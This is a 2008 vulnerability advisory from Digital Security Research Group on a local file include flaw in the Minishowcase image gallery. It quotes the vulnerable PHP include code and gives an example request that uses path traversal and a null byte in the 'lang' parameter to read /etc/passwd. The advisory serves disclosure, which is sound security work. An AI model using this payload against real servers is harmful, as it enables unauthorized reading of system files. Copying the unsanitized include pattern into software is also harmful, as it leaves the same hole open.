[DSECRG-08-034] Local File Include Vulnerability in Minishowcase v09b136
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-034
Application: Minishowcase Image Gallery
Versions Affected: v09b136
Vendor URL: http://minishowcase.frwrd.net
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Second report: 22.07.2008
Vendor response: NONE
Solution: NONE
Date of Public Advisory: 29.07.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)
Description
***********
Minishowcase Image Gallery has local file include vulnerability in script
libraries/general.init.php
Vulnerable GET parameters "lang".
Successful exploitation requires that "register_globals" is enabled.
Code
****
#################################################
...
$_dir_file = dirname(dirname(__FILE__));
$_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);
if ($_dir_file != $_dir_path) {
if (!isset($settings['minishowcase_url'])
|| ($settings['minishowcase_url'] == "")) {
die ("<p
style=\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\">ALERT:
if you are including minishowcase with PHP into a website, please set the
<code>\$minishowcase_url</code> variable in the
<code>/config/settings.php</code> file</p>");
}
}
...
if (isset($_GET["lang"])) $set_language = $_GET["lang"];
$langfile = ROOT.'languages/'.$set_language.'.php';
require_once($langfile);
#################################################
Example:
http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00
Solution
********
No response or any updates from vendor.
About
*****
Digital Security is leading IT security company in Russia, providing
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analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and
PCI DSS standards. Digital Security Research Group focuses on web application
and database security problems with vulnerability reports, advisories and
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Contact: research [at] dsec [dot] ru
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